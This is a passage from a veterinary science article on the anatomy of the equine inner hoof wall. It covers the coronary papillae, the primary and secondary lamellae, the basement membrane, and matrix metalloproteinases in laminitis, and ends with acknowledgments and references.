papilla fits into one of the holes on the surface of the epidermal coronary groove and in life, is responsible for nurturing an individual hoof wall tubule. This is shown in Fig 6. The basement membrane surface of the hoof wall corium was examined with the scanning electron microscope after treatment of hoof tissue blocks with a detergent enzyme mixture (Pollitt 1994). A clean separation could be made between dermal and epidermal tissues enabling the surface of the dermal basement membrane to be examined in detail. The basement membrane of the coronary and terminal papillae was folded into numerous ridges parallel with the long axis of the papilla. These longitudinal ridges on the surface of the papillae are analogous to the folded secondary dermal lamellae and probably share the similar role of increasing the surface area of attachment between the epidermal hoof and the connective tissue of the distal phalanx. They may also act as guides or channels directing columns of maturing keratinocytes in a correctly oriented proximo-distal correction (Fig 6). The density of coronary papillae is greatest at the periphery and least, adjacent to the lamellae. This mirrors the arrangement of the hoof wall tubules in zones based on tubule density.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_6.jpg" alt="anatomy_of_the_inner_hoofwall_6" width="433" border="0" height="630" /> <p align="justify"><strong>Fig 6. These papillae of the coronary corium have been treated with a detergent enzyme mixture and have been gently teased away from the proximal hoof wall. Normally they fit into long thin tapering holes in the coronary groove. Each papilla is responsible for the nutrition and organization of an individual hoof wall tubule. The highly magnified electron microscope picture (bottom) shows that the basement membrane of the papillae is folded as if forming parallel channels to act as guides directing columns of maturing keratinocytes in a correctly oriented proximo-distal correction. </strong></p> <p align="center"><strong>THE INNER HOOF WALL </strong></p> <p align="justify">The innermost layer of the hoof wall and bars of horses and ponies is named the <em>stratum lamellatum </em>(layer of leaves) after the 550-600 epidermal lamellae (primary epidermal lamellae) which project from its surface in parallel rows. Examination of the hoof capsule, with its contents removed, shows that the lamellae of the dorsal hoof wall are shaped like long thin rectangles approximately 7mm wide and 50mm long. One long edge of the rectangle is incorporated into the tough, heavily keratinised hoof wall proper (<em>stratum medium)</em> and the other long edge is free, facing the outer surface of the distal phalanx. The proximal short edge is curved and forms the curved shoulder of the coronary groove. The distal short edge merges with the sole and becomes part of the white zone visible at the ground surface of the hoof.</p> <p align="justify">In common with all epidermal structures the lamellae of the inner hoof wall are avascular and depend on capillaries in the microcirculation of the adjacent dermis for gaseous exchange and nutrients. The epidermal cells closest to the dermis (the basal cell or germinal cell layer) contain little keratin and have the potential to proliferate into keratinizing daughter cells. Whereas the epidermal basal cells lining the coronary groove and sole proliferate continuously into keratinizing daughter cells to form the tough but flexible hoof wall and sole respectively convincing evidence that the basal cells of normal lamellae proliferate to the same degree is lacking. Proliferating lamellar basal cells are confined to the proximal 10% of the lamellar inner hoof wall and are absent in the rest. Thus, in the same way as the hoof wall proper is subject to a downward force exerted by the proliferating basal cell layer of the coronary groove so to are the lamellae. The primary function of the lamellar hoof is to suspend the distal phalanx within the hoof capsule. It reserves its proliferative potential for the healing of injuries.</p> <p align="center"><strong>SECONDARY EPIDERMAL LAMELLAE</strong></p> <p align="justify">If the role of the epidermal lamellae is indeed suspensory, then an anatomical specialization increasing the surface area for the attachment of the multitude of collagenous fibres emanating from the outer surface of the distal phalanx would be expected. The secondary epidermal lamellae are just such a specialization. During the formation of an epidermal lamella, on the shoulders of the inner coronary groove, the basal cell layer proliferates causing folds (secondary lamellae) to form along the lamellar perimeter. The basal cell proliferation index is high on the shoulders of the coronary groove in the region of secondary lamella formation (Daradka and Pollitt, unpublished data). The folds elongate to form an extra 150-200 secondary lamellae along the length of each of the 550-600 primary lamella (Fig 7).</p> <p align="justify">The tips of the lamellae (both primary and secondary) all orientate towards the distal phalanx thus indicating the lines of tension to which the lamellar suspensory apparatus is subjected. The surface area of the equine inner hoof wall has been calculated to average 1.3m<sup>2 </sup>(Daradka and Pollitt unpublished data), about the size of the surface area of the skin of a small adult human (a considerable increase over the inner surface area of bovine hooves which lack secondary lamellae). This large surface area for suspension of the distal phalanx and the great compliance of the interdigiting lamellar architecture helps reduce stress and ensures even energy transfer during peak loading of the equine foot (Bertram and Gosline, 1987). In life, the hoof distal phalangeal attachment apparatus is impressively strong; during peak loading the hoof wall and the distal phalanx move in concert and separate only when laminitis interferes with lamellar anatomy.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_7.jpg" alt="anatomy_of_the_inner_hoofwall_7" width="728" border="0" height="945" /> <p align="justify"><strong>Fig 7. To increase the surface area of the inner hoof wall there are 550-600 primary epidermal lamellae (PELs). The surface area of each PEL is further increased with an extra 150-200 secondary lamellae along the length of each of PEL. The tips of the lamellae (both primary and secondary) all orientate towards the distal phalanx (on the right of each picture but not shown) thus indicating the lines of tension to which the lamellar suspensory apparatus is subjected. The upper picture is an unstained section magnified about x10. The lower picture is an electron micrograph: the bar = 0.1mm. In life each PEL measures about 7 mm when viewed in this plane. </strong></p> <p align="center"><strong>THE BASEMENT MEMBRANE</strong></p> <p align="justify">At the interface of the epidermis and the dermis is a tough, unbroken sheet of extracellular matrix called the basement membrane. This key structure is the bridge attaching the basal cells of the lamellar epidermis on one side and the fine connective tissue fibrils (type I collagen) emanating from the dorsal surface of the distal phalanx on the other. The ultrastructure of the equine hoof basement membrane is essentially the same as in other animals but with some important specializations. It is a sheet-like three-dimensional anastomosing latticework of fine interconnecting cords. The axial skeleton of the cord network consists of filaments of collagen IV. The collagen IV filaments are ensheathed with glycoproteins, in particular laminin which together form the electron dense <em>lamina densa</em>. Innumerable extensions of the <em>lamina densa </em>and banded anchoring filaments in the shape of recurved hooks intermesh with the type I collagen fibrils of the connective tissue of the lamellar corium forming an important part of the attachment mechanism between dermis and epidermis. The equine basement membrane has a high density of <em>lamina densa</em>extensions and anchoring filaments around the tips of the secondary epidermal lamellae a feature perhaps not surprising in a large ungulate, weight bearing, on single digits (Pollitt 1994).</p> <p align="justify">Laminin, one of the key proteins of the basement membrane, forms receptor sites and ligands for a complex array of growth factors, cytokines, adhesion molecules and integrins. Without an intact, functional, basement membrane, the epidermis, to which it is attached, falls into disarray. Significantly, disintegration and separation of the lamellar basement membrane is a feature of acute laminitis. Laminin and collagen IV disappear from the basement membrane which progressively loses its close attachment to the basal cells and strips away from the epidermal lamellae (Pollitt and Daradka, 1998).</p> <p align="center"><strong>LAMELLAR REMODELLING ENZYMES</strong></p> <p align="justify">Connective tissue and keratinocytes are now known to remodel and continually upgrade their spatial organization by the tightly controlled production of a specific class of enzymes known as matrix metalloproteinases (MMPs). Two members of the MMP family (MMP-2 and MMP-9) have recently been isolated from homogenized normal hoof wall lamellae and from normal lamellar explants cultured in tissue culture medium (Pollitt et al, 1998). Secreted as inactive proenzymes and, when activated, promptly inhibited by locally produced inhibitors (tissue inhibitors of metalloproteinase of TIMPs) it is MMP activity which is likely responsible for the remodelling of the various classes of epidermal cells between the basement membrane, the secondary epidermal lamellae and primary epidermal lamellae (Fig 8). The protein constituents of the basement membrane (type IV collagen, type VII collagen and laminin), are known substrates of the matrix metalloproteinases MMP-2 and MMP-9 (Salamonsen, 1994). After wounding, surviving keratinocytes, responding to locally produced cytokines detach from the basement membrane and commence the re-epithelialization process. Keratinocytes, responding to trauma or infection, readily synthesize both interleukin-1 and tumour necrosis factor-a (Cork et al 1993). Cytokines such as these upregulate the production of MMPs and an essential first step before keratinocytes can detach from the basement membrane is pericellular proteolysis via the increased production of MMP (Salo et al, 1991). The disorganization of the epidermal cells of the secondary epidermal lamellae, the wholesale separation of basal cells from the basement membrane and lysis of basement membrane which occurs early in the pathology of laminitis (Pollitt, 1996) are now thought to be caused by the triggering of activation of uncontrolled, excessive MMP production. Since MMPs are now known to be present in the region of the secondary epidermal lamellae, presumably for normal remodelling purposes, this seems a reasonable proposition.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_8.jpg" alt="anatomy_of_the_inner_hoofwall_8" width="567" border="0" height="373" /> <p align="justify"><strong>Fig 8. Epidermal lamellae overlaid with a thin film of gelatin (photographic emulsion) show that matrix metalloproteinase (MMP) or gelatinase activity is located in the epidermal basal cells beneath the basement membrane. MMP activity is probably responsible for the remodelling of the various classes of epidermal cells between the basement membrane, the secondary epidermal lamellae and primary epidermal lamellae.</strong></p> <p align="center"><strong>ACKNOWLEDGMENTS</strong></p> <p align="justify">This research was funded by a grant from the RIRDC entitled “Investigations into the cause and prevention of equine laminitis”. In addition the author gratefully acknowledges the generous financial assistance of O’Dwyer Horseshoes (Australia) Pty. Ltd. and the Animal Health Foundation (St Louis, Missouri) both of whom have committed on-going funds to assist the work of the Australian Equine Laminitis Research Unit at The University of Queensland.</p> <p align="center"><strong>REFERENCES</strong></p> <p align="justify">Bertram, J.E.A. and Gosline, J.M. (1986). Fracture toughness design in horse hoof keratin. J. exp. Biol. <strong>125, 29-47.</strong></p> <p align="justify">Bertram, J.E.A. and Gosline, J.M. (1987). Functional design of horse hoof keratin: the modulation of mechanical properties through hydration effects. J. exp. Biol. <strong>130,</strong>121-136.</p> <p align="justify">Bragulla, H., Reese, S. and Mulling, C. (1994). Histochemical and immunohistochemical studies of the horn quality of equine hoof. Anatomia Histologia Embrylogia, 19<sup>th</sup> Congress of European Association Vet’ Anatomists, Ghent & Antwerp Belgium, 24-28 August 1992. <strong>23,</strong> 1, 44-45.</p> <p align="justify">Cork, M.J., Mee,J.B. and Duff, G.W. (1993). Cytokines. In: Molecular aspects of dermatology pp 129-146. Edited by G C Priestley. John Wiley & Sons, Chichester.</p> <p align="justify">Dyhre-Poulsen, P., Smedegaard, H.H., Roed, J. and Korsgaard, E. (1994). Equine hoof function investigated by pressure transducers inside the hoof and accelerometers mounted on the first phalanx. Equine vet.J. <strong>26</strong>, 362-366.</p> <p align="justify">Leach, D.H. (1980). The structure and function of the equine hoof wall. PhD thesis. Department of Veterinary Anatomy, University of Saskatchewan, Saskatoon, Saskatchewan, Canada.</p> <p align="justify">Leach DH and Oliphant LW (1983). Ultrastructure of the equine hoof wall secondary epidermal lamellae. Am J Vet Res <strong>44</strong>:1561-1570.</p> <p align="justify">Pollitt, C.C. (1992) Clinical anatomy and physiology of the normal equine foot. Equine vet. Educ. <strong>4</strong>, 219-224.</p> <p align="justify">Pollitt, C.C. (1994). The basement membrane at the equine hoof dermal epidermal junction. Equine vet J: <strong>26</strong>, 399-407.</p> <p align="justify">Pollitt, C.C. (1995). Color Atlas of the Horse’s Foot, Mosby-Wolfe, London.</p> <p align="justify">Pollitt, C.C. (1996). Basement membrane pathology: a feature of acute laminitis. Eq vet J <strong>28</strong>: 38-46.</p> <p align="justify">Pollitt, C.C and Daradka, M. (1998). Equine basement membrane pathology: loss of type IV collagen, type VII collagen and laminin immunostaining. The Equine Hoof, Equine vet. J. Supplement <strong>27</strong>.</p> <p align="justify">Pollitt C C, Pass M A and Pollitt S (1998). Batimastat inhibits matrix metalloproteinases of equine laminitis. E The Equine Hoof, Equine vet. J. Supplement <strong>27</strong>.</p> <p align="justify">Priestley, G.C. (1993). An introduction to the skin and its diseases. In: Molecular aspects of dermatology pp1-17. Edited by G C Priestley. John Wiley & Sons, Chichester.</p> <p align="justify">Reilly, J.D., Cottrell, D.F., Martin, R.J. and Cuddeford, D. (1996). Tubule density in equine hoof horn. Biomimetics <strong>4,</strong> 23-36.</p> <p align="justify">Salamonsen L A (1994). Matrix metalloproteinases and endometrial remodelling. Cell Biol International<strong> 18</strong>:1139-1144.</p> <p align="justify">Salo T et al (1991). Transforming growth factor-beta up-regulates type IV collagenase expression in cultured human keratinocytes. J Biol Chem <strong>266</strong>: 11436-11441.</p> <p align="justify">Thomason, J.J., Biewener, A.A. and Bertram, J.E.A. (1992) Surface strain on the equine hoof wall in vivo: implications for the material design and functional morphology of the wall. J. Exper. Biol. <strong>166,</strong>145-165.</p> <p>© <em>Christopher C. Pollitt, BVSc, PhD.</em><br />Associate Professor of Equine Medicine<br />Australian Laminitis Research Unit<br />School of Veterinary Science and Animal Production<br />The University of Queensland<br />Qld 4072 AUSTRALIA<br />c.pollitt@mailbox.uq.edu.au<br />ph 61 7 3365 2063 fax 61 7 3365 1899</p> <p>Posted here with the permission of the author.</p></div>